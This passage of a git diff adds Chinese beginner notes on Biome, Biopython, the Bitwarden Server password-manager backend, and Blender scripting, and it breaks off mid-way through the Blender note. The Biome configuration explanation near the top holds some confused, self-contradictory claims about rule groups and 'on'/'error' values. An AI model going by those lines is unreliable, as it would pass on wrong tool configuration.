+Biome 把 `var` 全部改成了 `const`（这是 safe fix，因为不会改变代码语义）。但注意 `y` 虽然定义了但没用到——Biome 默认不做删掉 `y` 的修改，因为那是 unsafe fix（万一你只是忘了用呢）。
+
+### 示例 3：自定义配置
+
+如果想让 Biome 用单引号、行宽 120、不用分号：
+
+```jsonc
+{
+  "formatter": {
+    "enabled": true,
+    "indentStyle": "space",
+    "lineWidth": 120
+  },
+  "javascript": {
+    "formatter": {
+      "quoteStyle": "single",
+      "lineWidth": 120
+    }
+  },
+  "linter": {
+    "enabled": true,
+    "rules": {
+      "recommended": true,
+      "style": {
+        "noUnusedVariables": "error"
+      },
+      "suspicious": {
+        "noDebugger": "off"
+      }
+    }
+  }
+}
+```
+
+这里展示了几个关键点：
+
+- `javascript.formatter` 里的配置只影响 JS/TS 文件，`formatter` 里的配置影响所有语言
+- `"off"` 关掉某个规则，`"on"` 打开某个规则
+- `"error"` 意味着 CI 会因为这条规则报错，`"warn"` 只是警告
+- `noUnusedVariables` 设成 `error` 但默认不开启（不推荐），手动 `on` 才会启用
+
+### 示例 4：编辑器实时检查
+
+Biome 内置 LSP（语言服务协议），在 VS Code 里装一个插件，就可以：
+
+1. 写代码时实时标红错误（像编译器一样）
+2. 保存时自动修复所有 safe fix
+3. 光标悬停时看详细解释
+
+VS Code 配置 `settings.json`：
+
+```json
+{
+  "editor.codeActionsOnSave": {
+    "source.fixAll.biome": "explicit"
+  }
+}
+```
+
+这样每次保存文件，Biome 就会自动修复所有安全的问题——不用手动跑命令。
+
+## 迁移：从 Prettier + ESLint 过来
+
+如果你原来项目同时用了 Prettier 和 ESLint，迁移只需要：
+
+1. 卸载 `prettier`、`eslint`、`eslint-config-prettier`
+2. 安装 `@biomejs/biome`
+3. 运行 `biome migrate eslint`（自动把你 ESLint 配置转成 biome.json）
+4. 删除 `.prettierrc`、`.eslintrc*` 等旧配置文件
+5. 跑一下 `biome check --write`，看效果
+
+Biome 的优势：
+- 一个工具，不需要拼配置
+- 只跑一次扫描就搞定格式+检查
+- 比 Prettier + ESLint 快很多（Rust 写的，并行处理）
+
+## 小结
+
+Biome 的核心思想就一句话：**把前端代码质量工具链合并成一个工具**。
+
+- 格式化：替代 Prettier，97% 兼容
+- 检查：替代 ESLint，508 条规则
+- 一个配置文件：biome.json
+- 一个命令：biome check --write
+- 编辑器集成：LSP，实时检查+自动修复
+- 速度快：Rust 编写，不依赖 Node.js
+
+对初学者来说，最大的好处就是：**少装一个工具，少配一个文件，少记一条命令**。
diff --git a/src/content/docs/projects/biopython.md b/src/content/docs/projects/biopython.md
new file mode 100644
index 000000000..be1bc5541
--- /dev/null
+++ b/src/content/docs/projects/biopython.md
@@ -0,0 +1,251 @@
+---
+title: Biopython 零基础学习笔记
+来源: https://github.com/biopython/biopython
+日期: 2026-06-13
+分类: 机器学习
+子分类: 生物信息
+provenance: pipeline-v3
+---
+
+# Biopython 零基础学习笔记
+
+## 一、什么是 Biopython？
+
+### 1.1 日常类比
+
+想象你在一家图书馆工作，馆里有成千上万本书。每本书的封面都印有这本书的核心信息：书名、作者、出版社。现在，如果你要人工逐本翻阅、统计、摘录这些书的某个章节，工作量会非常巨大。
+
+Biopython 就是为生物学家打造的"图书馆自动化系统"。只不过它处理的不是书，而是"生命之书"——DNA、RNA 和蛋白质的序列数据。
+
+**一句话总结：** Biopython 是一个用 Python 编写的免费工具包，帮助生物学家分析 DNA、RNA、蛋白质等生物分子数据。
+
+### 1.2 它不是什么
+
+- 它不是数据库（不存储数据）
+- 它不是 GUI 软件（没有图形界面）
+- 它是一个**库（library）**：写好的一段代码，你可以"拿过来用"
+
+### 1.3 安装
+
+```bash
+pip install biopython
+```
+
+验证安装：
+
+```python
+import Bio
+print(Bio.__version__)
+```
+
+## 二、核心概念
+
+Biopython 围绕三个核心对象工作，理解它们是入门的关键：
+
+### 2.1 Seq — 序列
+
+`Seq` 对象代表一条生物序列，比如一段 DNA 或一段蛋白质。你可以把它理解成一条"有生物意义的字符串"。
+
+```
+普通字符串: "AGCTTAGC"
+Seq 对象:   Seq('AGCTTAGC')
+```
+
+区别在于，`Seq` 对象多了生物学方法：反向互补、转录、翻译等。
+
+### 2.2 SeqRecord — 带注释的序列
+
+`SeqRecord` 对象在 `Seq` 的基础上加了"元数据"，相当于书的封面信息：
+
+| 属性 | 说明 |
+|------|------|
+| `id` | 唯一标识符 |
+| `description` | 描述文字 |
+| `seq` | 实际的序列（一个 Seq 对象） |
+| `annotations` | 字典形式的注释信息 |
+
+### 2.3 SeqIO — 序列的输入/输出
+
+`SeqIO` 是 Biopython 的"文件管理器"，负责读取和写入各种格式的序列文件（如 FASTA、GenBank 等）。它把"怎么解析文件"的复杂细节都封装好了，你只需要告诉它：
+
+1. **文件在哪**（文件名或文件句柄）
+2. **什么格式**（"fasta"、"genbank" 等）
+
+## 三、代码示例
+
+### 3.1 示例一：序列操作（创建、互补、转录、翻译）
+
+这个示例展示 `Seq` 对象最核心的生物学功能：从 DNA 到蛋白质的中心法则流程。
+
+```python
+from Bio.Seq import Seq
+
+# 1. 创建一条 DNA 序列（使用编码链）
+dna = Seq("ATGGCCATTGTAATGGGCCGCTGAAAGGGTGCCCGATAG")
+
+# 2. 查看基本信息
+print("DNA 序列:", dna)
+print("长度:", len(dna))
+# DNA 序列: ATGGCCATTGTAATGGGCCGCTGAAAGGGTGCCCGATAG
+# 长度: 39
+
+# 3. 计算 GC 含量（G 和 C 碱基所占比例）
+gc_count = dna.count("G") + dna.count("C")
+gc_content = 100 * gc_count / len(dna)
+print(f"GC 含量: {gc_content:.2f}%")
+# GC 含量: 58.97%
+
+# 4. 获取互补链（A 配 T, C 配 G）
+complement = dna.complement()
+print("互补链:", complement)
+# 互补链: TACCGGTAACATTACCCGGCGACTTTCCCACGGGCTATC
+
+# 5. 获取反向互补链（生物学中最常用的链）
+reverse_comp = dna.reverse_complement()
+print("反向互补链:", reverse_comp)
+# 反向互补链: CTATCGGGCACCCTTTCAGCGGCCCATTACAATGGCCAT
+
+# 6. 转录：DNA → mRNA（T 替换为 U）
+mrna = dna.transcribe()
+print("mRNA:", mrna)
+# mRNA: AUGGCCAUUGUAAUGGGCCGCUGAAAGGGUGCCCGAUAG
+
+# 7. 翻译：mRNA → 蛋白质（三个碱基 = 一个氨基酸）
+protein = mrna.translate()
+print("蛋白质:", protein)
+# 蛋白质: MAIVMGR*KGAR*
+
+# 8. 只翻译到第一个停止密码子
+protein_to_stop = dna.translate(to_stop=True)
+print("翻译到第一个停止:", protein_to_stop)
+# 翻译到第一个停止: MAIVMGR
+```
+
+**要点解释：**
+
+- **互补**：DNA 双链中，A 永远配 T，C 永远配 G
+- **转录**：把 DNA 的 T 替换成 U（尿嘧啶），变成 mRNA
+- **翻译**：每 3 个碱基（一个"密码子"）对应 1 个氨基酸，`*` 表示停止密码子
+- **反向互补**：因为 DNA 有方向性（5'→3' 和 3'→5'），反向互补是最常用的操作
+
+### 3.2 示例二：读取文件中的序列（SeqIO）
+
+实际工作中，你大部分时间是在处理文件。`Bio.SeqIO` 就是为此设计的。
+
+```python
+from Bio import SeqIO
+from Bio.Seq import Seq
+from Bio.SeqRecord import SeqRecord
+
+# ---------- 读取示例 ----------
+
+# 假设有一个 FASTA 格式的文件 seqs.fasta，内容如下：
+# >seq1 描述文字
+# ATGGCCATT
+# >seq2 另一条序列
+# TTCGAA
+
+# 方法 1：逐个遍历（适合大文件，节省内存）
+print("=== 遍历读取 ===")
+for record in SeqIO.parse("seqs.fasta", "fasta"):
+    print(f"ID: {record.id}")
+    print(f"描述: {record.description}")
+    print(f"序列: {record.seq}")
+    print(f"长度: {len(record.seq)}")
+    print()
+
+# 方法 2：一次性读入列表（适合小文件）
+records = list(SeqIO.parse("seqs.fasta", "fasta"))
+print(f"共读取 {len(records)} 条序列")
+
+# ---------- 写入示例 ----------
+
+# 创建两条 SeqRecord 对象
+rec1 = SeqRecord(
+    Seq("ATGGCCATT"),
+    id="my_seq1",
+    description="这是我的第一条序列"
+)
+
+rec2 = SeqRecord(
+    Seq("TTCGAA"),
+    id="my_seq2",
+    description="这是我的第二条序列"
+)
+
+# 写入 FASTA 文件
+count = SeqIO.write([rec1, rec2], "output.fasta", "fasta")
+print(f"已写入 {count} 条序列到 output.fasta")
+```
+
+生成的 `output.fasta` 内容：
+
+```
+>my_seq1 这是我的第一条序列
+ATGGCCATT
+>my_seq2 这是我的第二条序列
+TTCGAA
+```
+
+**要点解释：**
+
+- `SeqIO.parse()` 返回一个**迭代器**：它像水龙头一样，需要你"拧开多少流多少"，不会一次性把文件全部装进内存。这对处理百万条记录的大文件非常关键。
+- `SeqIO.read()`：如果确定文件只有**一条**记录，用这个更简洁。
+- `SeqIO.write()`：把 `SeqRecord` 列表写入文件，返回写入的条数。
+- 支持的文件格式非常多，常见的包括：`fasta`、`fastq`、`genbank` (或 `gb`)、`embl`、`uniprot-xml` 等。
+
+### 3.3 示例三：计算多个序列的 GC 含量
+
+这是生物分析中最常见的操作之一：
+
+```python
+from Bio.Seq import Seq
+from Bio.SeqUtils import gc_fraction
+
+sequences = [
+    "ATGGCCATTGTAATGGGCCGCTGAAAGGGTGCCCGATAG",
+    "ATCGATCGATCG",
+    "GGGGCCCCAAAA",
+]
+
+for i, seq_str in enumerate(sequences, 1):
+    seq = Seq(seq_str)
+    # 方法 1：手动计算
+    gc_manual = 100 * (seq.count("G") + seq.count("C")) / len(seq)
+    # 方法 2：使用 Biopython 内置函数（推荐，更可靠）
+    gc_biopython = gc_fraction(seq) * 100
+    print(f"序列 {i}: {gc_manual:.2f}% (手动) | {gc_biopython:.2f}% (内置)")
+```
+
+## 四、Biopython 的其他主要模块
+
+`Seq` 和 `SeqIO` 只是冰山一角。Biopython 包含几十个子模块，常用的有：
+
+| 模块 | 功能 | 类比 |
+|------|------|------|
+| `Bio.Blast` | BLAST 序列比对搜索 | 在数据库中找相似序列 |
+| `Bio.Entrez` | 访问 NCBI 数据库 | 从网上直接下载数据 |
+| `Bio.PDB` | 处理 3D 蛋白质结构 | 查看蛋白质的三维形状 |
+| `Bio.Align` | 序列比对分析 | 多序列对齐，找共同模式 |
+| `Bio.Phylo` | 系统发育分析 | 画进化树 |
+| `Bio.motifs` | 序列基序分析 | 找 DNA 上的关键识别位点 |
+
+## 五、学习建议
+
+### 5.1 从哪里开始
+
+1. 先掌握 `Seq` 对象（示例一），这是最基础的
+2. 再学 `SeqIO`（示例二），这是日常最高频的操作
+3. 遇到问题再按需查其他模块
+
+### 5.2 官方资源
+
+- 完整教程：https://biopython.org/docs/latest/Tutorial/
+- API 文档：https://biopython.org/docs/latest/api/
+- GitHub：https://github.com/biopython/biopython
+
+### 5.3 小贴士
+
+- `help()` 是好朋友：在 Python 中直接输入 `help(Seq)` 或 `help(SeqIO)` 可以查看内置文档
+- `Seq` 对象像字符串：切片、索引、`len()` 等字符串操作都适用
+- 文件太大用 `parse()` 不要用 `list()`：前者流式读取，后者全部进内存
diff --git a/src/content/docs/projects/bitwarden-server.md b/src/content/docs/projects/bitwarden-server.md
new file mode 100644
index 000000000..b291c409e
--- /dev/null
+++ b/src/content/docs/projects/bitwarden-server.md
@@ -0,0 +1,261 @@
+---
+title: Bitwarden Server — 密码管理器后端
+来源: https://github.com/bitwarden/server
+日期: 2026-06-13
+子分类: 安全与隐私
+分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Bitwarden Server 是开源密码管理器 **Bitwarden 的后端**：所有客户端（浏览器扩展、桌面、手机、CLI）同步密码、登录、组织共享时，背后连的都是这套 C# / ASP.NET Core 服务集群。
+
+日常类比：
+
+- **客户端（Bitwarden App）** = 你家里的**带锁保险箱**：真正开锁、读写密码本的动作只在你手上完成
+- **Bitwarden Server** = 银行租给你的**保管库格子**：只存已经上锁的箱子，银行职员看不到里面是什么
+- **Identity 服务** = 大堂的**门禁系统**：验你是不是账户本人，但不替你打开保险箱
+- **API 服务** = **收发室**：帮你把上锁的箱子在不同设备之间搬运，从不拆封
+
+这和「把密码明文存进自家数据库」完全不同：服务器存的是密文 blob，解密密钥永远不下发到服务端。
+
+## 为什么重要
+
+密码管理是零信任时代的基础设施。理解 Bitwarden Server，能解释一连串工程问题：
+
+- 为什么官方强调 **zero-knowledge（零知识）**——服务端被拖库也拿不到主密码
+- 为什么架构是 **9+ 个微服务** 而不是一个单体——认证、计费、通知、审计可以独立扩缩容
+- 为什么自建（self-host）和云端共用同一套代码，只靠 `GlobalSettings.SelfHosted` 切换行为
+- 为什么企业版额外有 **SSO / SCIM** 服务——把密码库接到公司 IdP 和 HR 系统
+
+对后端开发者来说，它是学习 **OAuth 2.0 / OIDC、SignalR 实时推送、多数据库适配、Docker 编排** 的完整样本；对安全从业者，它是 **客户端加密 + 服务端盲存** 的教科书实现。
+
+## 核心概念
+
+### 1. 零知识架构（Zero-Knowledge）
+
+加密 / 解密 **只在客户端** 发生。流程可以概括为：
+
+```
+主密码 + 邮箱(salt)
+  └─> KDF (PBKDF2 / Argon2id) → Master Key
+      └─> HKDF → 对称加密密钥 + MAC 密钥
+          └─> 解密「受保护的用户密钥」→ User Key
+              └─> 解密每条 Cipher（密码条目）
+```
+
+服务端只保存：
+
+- 主密码的 **哈希**（用于登录验证，不可逆）
+- **加密后的** User Key、Cipher 字段、附件元数据
+
+主密码和明文 User Key **从不** 传到服务器。管理员重置账户也 **不能** 替你恢复 vault 内容——这是设计特性，不是 bug。
+
+### 2. 微服务拆分
+
+| 服务 | 职责 |
+|------|------|
+| **API** | 主 REST API：vault、组织、文件夹、Send、导入导出 |
+| **Identity** | OAuth 2.0 / OpenID Connect（基于 Duende IdentityServer） |
+| **Admin** | 自建实例管理门户 |
+| **Notifications** | SignalR WebSocket，多设备实时同步 |
+| **Events** / **EventsProcessor** | 审计日志与异步处理 |
+| **Icons** | 为站点抓取 favicon（可选） |
+| **Billing** | Stripe 订阅（云端） |
+| **SSO** / **SCIM** | 企业 SAML/OIDC 与自动开户（Enterprise） |
+
+所有服务共享 **`Core` 库**（业务逻辑、Repository 接口、邮件、特性开关），各自有独立的 `Startup.cs`，在 `ConfigureServices` 里按固定顺序注册依赖：
+
+`AddGlobalSettingsServices` → `AddDatabaseRepositories` → `AddBaseServices` → `AddDefaultServices`。
+
+### 3. GlobalSettings 与自建模式
+
+`GlobalSettings` 从 `appsettings.json` + 环境变量加载，是整站的「总开关」：
+
+- `SelfHosted = true`：路径路由（`/identity`、`/admin`）、关闭云端限流、简化外部依赖
+- `DatabaseProvider`：SQL Server / PostgreSQL / MySQL
+- `BaseServiceUri`：各微服务对外 URL（反向代理后面尤其重要）
+
+自建 Docker 部署时，安装脚本 `bitwarden.sh` 会生成 `.env` 和 `docker-compose` 编排，镜像来自 `ghcr.io/bitwarden/*`。
+
+### 4. 数据模型：Cipher
+
+Vault 里每一条记录（登录、卡、身份、安全笔记）在数据库里是一个 **Cipher** 行。敏感字段（`name`、`login.password`、`notes` 等）各自是 **EncString**——客户端加密后的字符串。服务端 API 只做 CRUD 和同步冲突检测，不解密内容。
+
+组织共享时，Cipher Key 用 **组织对称密钥** 加密；成员通过 RSA 密钥交换拿到 Org Key——仍然全程密文传输。
+
+### 5. 技术栈一览
+
+- **运行时**：.NET 8 / ASP.NET Core
+- **数据库**：SQL Server（默认）、PostgreSQL、MySQL；EF Core + Dapper 双轨
+- **认证**：Duende IdentityServer、JWT Bearer、2FA / WebAuthn
+- **实时**：SignalR（Notifications 服务）
+- **部署**：Docker Compose（自建）、Kubernetes（生产）、Nginx 反代
+- **对象存储**：Azure Blob / S3 兼容（附件、Send 文件）
+
+## 代码示例
+
+### 示例 1：API 服务启动时的依赖注册（节选）
+
+每个微服务的 `Startup.ConfigureServices` 都遵循同一模式。下面是 API 服务的典型片段（简化自 `src/Api/Startup.cs`）：
+
+```csharp
+public void ConfigureServices(IServiceCollection services)
+{
+    // 1. 全局配置（含 SelfHosted、数据库连接、服务 URI）
+    var globalSettings = services.AddGlobalSettingsServices(Configuration, Environment);
+
+    // 2. 数据访问层：40+ Repository（User、Cipher、Organization…）
+    services.AddDatabaseRepositories(globalSettings);
+
+    // 3. 基础设施：邮件、事件、特性开关
+    services.AddBaseServices(globalSettings);
+    services.AddDefaultServices(globalSettings);
+
+    // 4. 身份认证：JWT + OAuth scope "api"
+    services.AddCustomIdentityServices(globalSettings);
+    services.AddIdentityAuthenticationServices(globalSettings, Environment, config =>
+    {
+        config.AddPolicy(Policies.Application, policy =>
+        {
+            policy.RequireAuthenticatedUser();
+            policy.RequireClaim(JwtClaimTypes.Scope, ApiScopes.Api);
+        });
+    });
+
+    // 5. 业务模块：计费、导入、Send 等
+    services.AddBillingOperations();
+    services.AddImportServices();
+    services.AddSendServices();
+}
+```
+
+读懂这段，就理解「为什么改 vault 逻辑往往动 `Core`，而 HTTP 路由在 `Api` 的 Controller」。
+
+### 示例 2：Linux 上一键自建（官方脚本）
+
+生产环境推荐用官方安装脚本，而不是手搓 compose：
+
+```bash
+# 下载安装器
+curl -s -L -o bitwarden.sh \
+  "https://func.bitwarden.com/api/dl/?app=self-host&platform=linux"
+chmod +x bitwarden.sh
+
+# 交互式安装：域名、SSL、数据库、Installation Id/Key
+./bitwarden.sh install
+
+# 启动全部容器（api、identity、nginx、mssql…）
+./bitwarden.sh start
+
+# 常用运维
+./bitwarden.sh status
+./bitwarden.sh updateself  # 拉取新镜像
+./bitwarden.sh renewcert   # Let's Encrypt 续期
+```
+
+安装完成后，Nginx 把 `/api`、`/identity`、`/notifications` 等路径转发到对应容器。`config.yml` 里可改 `database` 为 `postgresql` 等。
+
+### 示例 3：本地开发跑单个 API 项目
+
+贡献者克隆仓库后，可只起 API 做接口调试（需先配数据库与 user secrets）：
+
+```bash
+git clone https://github.com/bitwarden/server.git
+cd server
+
+# 按 contributing 文档：Docker 起 MSSQL、跑 migrate.ps1、setup_secrets.ps1
+cd src/Api
+dotnet run
+# 开发环境 Swagger：http://localhost:4000/docs
+```
+
+自建开发配置用 `Api-SelfHost` launch profile，端口通常比云端实例 **+1**（例如 API 在 4001），以便两套环境并行。
+
+### 示例 4：用 curl 访问同步 API（概念演示）
+
+客户端同步 Cipher 时调用 REST API。以下展示 **请求形态**（`Bearer` 令牌来自 Identity 的 OAuth 流程；body 里的字段已是客户端加密后的密文）：
+
+```bash
+# 获取 access token（密码式登录仅用于测试；生产应用用授权码 + PKCE）
+TOKEN=$(curl -s -X POST "https://your-domain.com/identity/connect/token" \
+  -H "Content-Type: application/x-www-form-urlencoded" \
+  -d "grant_type=password&username=user@example.com&password=***&scope=api offline_access" \
+  | jq -r .access_token)
+
+# 列出 vault 中的 cipher（返回 JSON，字段值为 EncString）
+curl -s "https://your-domain.com/api/ciphers" \
+  -H "Authorization: Bearer $TOKEN" \
+  -H "Content-Type: application/json"
+```
+
+服务端返回的 `login.password` 形如 `2.xxx|xxx`——类型前缀 + Base64 密文。没有 User Key 就无法还原明文。
+
+## 请求链路（自建典型）
+
+```text
+浏览器 / 扩展
+    │
+    ▼
+Nginx (443)  ──路径分发──┬── /identity  → Identity 容器（登录、发 token）
+                         ├── /api       → API 容器（vault CRUD）
+                         ├── /notifications → SignalR 推送
+                         └── /admin     → 管理后台
+    │
+    ▼
+SQL Server / PostgreSQL（vault 库：User、Cipher、Organization…）
+```
+
+登录时：客户端 → Identity 验证密码哈希 → 发 JWT。之后 API 请求带 JWT，API 服务 **不** 再验证主密码，只鉴权并读写密文记录。密码修改时，客户端本地重加密 User Key 和新 Cipher，再 PUT 回 API。
+
+## 与 Vaultwarden 的区别
+
+很多人自建时用的是 **Vaultwarden**（Rust 重写的兼容实现），不是官方 Server：
+
+| 维度 | Bitwarden Server | Vaultwarden |
+|------|------------------|-------------|
+| 语言 | C# / .NET | Rust |
+| 资源占用 | 多容器，内存较高 | 单容器，极轻量 |
+| 协议 | 官方标准 | API 兼容 Bitwarden 客户端 |
+| 企业功能 | SSO/SCIM/完整审计 | 部分缺失或简化 |
+| 许可 | 源码可见，部署需关注许可条款 | GPL |
+
+学 **官方架构、企业集成、加密协议演进**，应读 Bitwarden Server + `clients` 仓库；学 **树莓派上跑个轻量密码库**，Vaultwarden 更合适。
+
+## 安全与运维要点
+
+1. **HTTPS 必开**：安装脚本可自动申请 Let's Encrypt；自签证书需导入所有客户端
+2. **备份数据库 + `bwdata` 目录**：丢库 = 丢密文；没有主密码仍无法解密
+3. **Installation Id/Key**：自建实例向 Bitwarden 云注册（部分功能需要），开发环境要在云库 `Installation` 表插入对应记录
+4. **及时 `updateself`**：安全补丁随 Docker 镜像发布，版本号如 `v2026.6.0`
+5. **不要把 `adminToken` 暴露到公网**：Admin 门户能改实例级配置
+
+## 源码阅读路线（零基础）
+
+1. **README + `docker/`**：先搞清部署拓扑，别一头扎进 C#
+2. **`src/Core`**：`Cipher`、`User` 实体，`ICipherRepository`，`UserService`——业务心脏
+3. **`src/Api/Vault`**：`CiphersController`——REST 如何映射到 Service
+4. **`src/Identity`**：OAuth 客户端、grant type、2FA 流程
+5. **`bitwarden-server.mintlify.app`**：官方架构文档与 API 说明
+6. **`clients` 仓库加密文档**：把「客户端干什么」和「服务端干什么」对齐
+
+## 常见坑
+
+- **混用云端与自建端口**：开发时 SelfHost profile 端口 +1，web 客户端要用 `build:oss:selfhost:watch` 指对 API
+- **只备份文件不备份库**：附件在 blob/S3，元数据在 SQL，缺一不可
+- **以为管理员能重置主密码并看到密码**：只能重置 **登录**；vault 内容仍不可恢复
+- **PostgreSQL 大小写**：迁移脚本和连接串要与 `GlobalSettings` 一致
+
+## 延伸阅读
+
+- 官方仓库：https://github.com/bitwarden/server
+- 架构文档：https://bitwarden-server.mintlify.app/introduction
+- 加密实现：https://bitwarden-server.mintlify.app/operations/encryption
+- 贡献者自建指南：https://contributing.bitwarden.com/getting-started/server/self-hosted/
+- 客户端密码学：https://bitwarden-clients.mintlify.app/guide/cryptography
+- 相关笔记：[[oauth2-rfc6749]]（Identity 协议基础）、[[tls-1-3-rfc8446]]（传输层）、[[postgresql]]（可选数据库后端）
+
+## 小结
+
+Bitwarden Server 不是「又一个 CRUD 后台」，而是 **在服务端不可信前提下** 设计的同步与协作系统：微服务负责认证、存储、审计、计费；**信任边界在客户端主密码**。从零学习时，先建立「保险箱 vs 保管库」的心智模型，再按 Docker 部署 → API/Identity 源码 → 加密白皮书 的顺序深入，比直接啃 Controller 省力得多。
diff --git a/src/content/docs/projects/blender.md b/src/content/docs/projects/blender.md
new file mode 100644
index 000000000..734229a1e
--- /dev/null
+++ b/src/content/docs/projects/blender.md
@@ -0,0 +1,238 @@
+---
+title: Blender — 全流程 3D 创作套件
+来源: https://github.com/blender/blender
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Blender** 是由 Blender Foundation 维护的**免费开源 3D 创作套件**，覆盖建模、雕刻、绑定、动画、物理模拟、渲染、合成、视频剪辑乃至 2D 动画（Grease Pencil）的完整管线。源码托管于 [blender/blender](https://github.com/blender/blender)，桌面版跨 Windows / macOS / Linux，也可作为 Python 模块 `bpy` 嵌入自动化流水线。
+
+日常类比：如果把做 3D 内容比作**拍一部电影**，Blender 不是只负责「摄影棚」或「后期机房」的单一工具——它更像**自带摄影棚、道具间、化妆间、剪辑台和放映厅的综合制片厂**。你可以在同一个 `.blend` 项目文件里：捏一个杯子（建模）→ 给它上釉（材质）→ 让它从桌上滚下来（物理/动画）→ 打光渲染成 4K 静帧或 MP4（Cycles / EEVEE）→ 再叠一层字幕和调色（合成/视频编辑），全程不用换软件。
+
+最小「程序化建一个立方体」脚本（在 Blender 脚本编辑器或 `--python` 运行）：
+
+```python
+import bpy
+
+# 清空默认场景里的立方体、相机、灯光（可选）
+bpy.ops.object.select_all(action='SELECT')
+bpy.ops.object.delete()
+
+# 添加一个 2m 边长的立方体，位置抬高 1m
+bpy.ops.mesh.primitive_cube_add(size=2, location=(0, 0, 1))
+cube = bpy.context.active_object
+cube.name = "MyCube"
+```
+
+四行有效操作 = 一个可渲染的 3D 物体出现在场景里。GUI 里按 `Shift+A` 做的事，脚本里用 `bpy.ops` 同样能做。
+
+## 为什么重要
+
+零基础学 3D，绕不开 Blender 的几个现实理由：
+
+- **零授权成本**：个人、教育、商业项目均可免费使用（GPL 许可），不像 Maya / 3ds Max 按年订阅
+- **全流程在一个文件里**：小团队不用在 DCC、渲染器、合成软件之间来回导出 FBX/OBJ
+- **Python 一等公民**：界面里能点的按钮，几乎都能用 `bpy` 自动化——批量导入、程序化资产、渲染农场脚本
+- **生态与就业**：教程、插件（Add-ons）、[[godot]] / Unity 工作流文档极多；建筑可视化、独立游戏、短视频特效常见 Blender 出身
+- **实时与离线渲染兼备**：EEVEE（实时）快速预览，Cycles / 未来 Hydra 路径追踪出成片
+
+## 核心要点
+
+Blender 的心脏概念可以按「从空场景到成片」顺序理解：
+
+### 1. 场景图：Object + Data
+
+Blender 用 **Object（物体）** 包装 **Data-block（数据块）**。一个 `Object` 是场景里的「实例」——位置、旋转、缩放；背后的 `Mesh`、`Curve`、`Camera` 等才是几何/镜头数据。多个 Object 可以共享同一份 Mesh（类似游戏引擎的 prefab 实例）。
+
+### 2. 三种编辑模式
+
+| 模式 | 类比 | 做什么 |
+| --- | --- | --- |
+| **Object Mode** | 搬动展厅里的展品 | 整体移动、旋转、缩放 |
+| **Edit Mode** (`Tab`) | 改展品本身的 clay | 改顶点/边/面拓扑 |
+| **Sculpt Mode** | 数字泥巴捏形 | 高细分网格雕刻 |
+
+### 3. 修改器栈（Modifiers）
+
+非破坏性操作链：Mirror、Subdivision Surface、Array、Boolean… 像 Photoshop 图层一样可 reorder、可关掉预览。工业硬表面建模几乎离不开 **Mirror + SubD**。
+
+### 4. 材质与节点（Shader Nodes）
+
+Blender 4.x+ 默认 **Principled BSDF** 物理材质：Base Color、Roughness、Metallic 几个滑块就能出 plausible 结果。复杂效果用节点图（Noise → Bump → Mix Shader）拼装，和 [[unreal-engine]] / Unity Shader Graph 思路同源。
+
+### 5. 动画：关键帧 + NLA + 约束
+
+时间轴上 `I` 键插入 keyframe；**Armature（骨骼）** + **Weight Paint** 做角色绑定；**NLA** 把多段动作块叠在一起。物理（Rigid Body、Cloth、Fluid）可烘焙成缓存再渲染。
+
+### 6. 渲染引擎
+
+- **EEVEE Next**：实时 raster + 屏幕空间效果，适合预览、游戏资产、短视频
+- **Cycles**：路径追踪，适合产品静帧、建筑可视化
+- **Workbench**：无材质快速查看拓扑
+
+输出：`F12` 渲染单帧，或 `Output Properties` 里设帧范围输出 PNG 序列 / FFmpeg 视频。
+
+### 7. Geometry Nodes（几何节点）
+
+Blender 3.0+ 的程序化建模/散布系统：用节点图生成实例、曲线、体积，类似 Houdini 的轻量入口。做草地、建筑群、参数化装置特别高效。
+
+### 8. Python API 三件套
+
+| 模块 | 作用 |
+| --- | --- |
+| `bpy.data` | 读写场景库：物体、材质、网格、动作 |
+| `bpy.context` | 当前选中、活动物体、模式——跟 UI 状态同步 |
+| `bpy.ops` | 调用操作符：建模、渲染、导入导出 |
+
+## 实践案例
+
+### 案例 1：批量创建一排彩色球体
+
+适合理解 `bpy.ops` + 材质赋值：
+
+```python
+import bpy
+
+colors = [
+    (1.0, 0.2, 0.2, 1.0),
+    (0.2, 0.8, 0.3, 1.0),
+    (0.2, 0.4, 1.0, 1.0),
+]
+
+for i, rgba in enumerate(colors):
+    x = i * 2.5
+    bpy.ops.mesh.primitive_uv_sphere_add(radius=0.8, location=(x, 0, 0.8))
+    obj = bpy.context.active_object
+    obj.name = f"Ball_{i}"
+
+    mat = bpy.data.materials.new(name=f"Mat_{i}")
+    mat.use_nodes = True
+    bsdf = mat.node_tree.nodes.get("Principled BSDF")
+    bsdf.inputs["Base Color"].default_value = rgba
+    obj.data.materials.append(mat)
+```
+
+**要点**：`default_value` 是 RGBA 四元组；每个物体可以独占一份 Material，也可以共享。
+
+### 案例 2：给默认立方体做 120 帧旋转动画并渲染
+
+```python
+import bpy
+
+obj = bpy.data.objects.get("Cube")
+if obj is None:
+    bpy.ops.mesh.primitive_cube_add(location=(0, 0, 1))
+    obj = bpy.context.active_object
+
+scene = bpy.context.scene
+scene.frame_start = 1
+scene.frame_end = 120
+scene.render.fps = 24
+
+# 第 1 帧：0°
+scene.frame_set(1)
+obj.rotation_euler = (0, 0, 0)
+obj.keyframe_insert(data_path="rotation_euler", frame=1)
+
+# 第 120 帧：绕 Z 转一整圈
+scene.frame_set(120)
+obj.rotation_euler = (0, 0, 6.283185307)  # 2*pi
+obj.keyframe_insert(data_path="rotation_euler", frame=120)
+
+# 可选：命令行无 UI 渲染
+# blender scene.blend --python this_script.py -- --render-anim
+# bpy.ops.render.render(animation=True)
+```
+
+**要点**：`keyframe_insert` 等价于用户在 UI 按 `I`；渲染前记得有 **Camera** 和 **Light**，否则全黑。
+
+### 案例 3：命令行批处理（工作室常见）
+
+不打开界面，在 CI 或渲染农场跑：
+
+```bash
+blender -b myscene.blend -o //render/frame_#### -F PNG -f 1
+blender -b myscene.blend -a
+```
+
+`-b` 后台；`-o` 输出路径（`//` 表示相对 .blend 文件）；`-f 1` 只渲第 1 帧；`-a` 渲整个动画范围。
+
+### 案例 4：导出 glTF 给 Web / 游戏引擎
+
+```python
+import bpy
+
+bpy.ops.export_scene.gltf(
+    filepath="/tmp/export.glb",
+    export_format='GLB',
+    export_apply=True,  # 应用修改器
+    export_materials='EXPORT',
+)
+```
+
+[[playcanvas]]、Three.js、[[godot]]、Unity 都原生吃 glTF/GLB；Blender 是免费 DCC 里 glTF 导出最成熟的之一。
+
+## 界面与零基础上手路径
+
+第一次打开 Blender 不要被默认立方体吓到。推荐 7 步闭环：
+
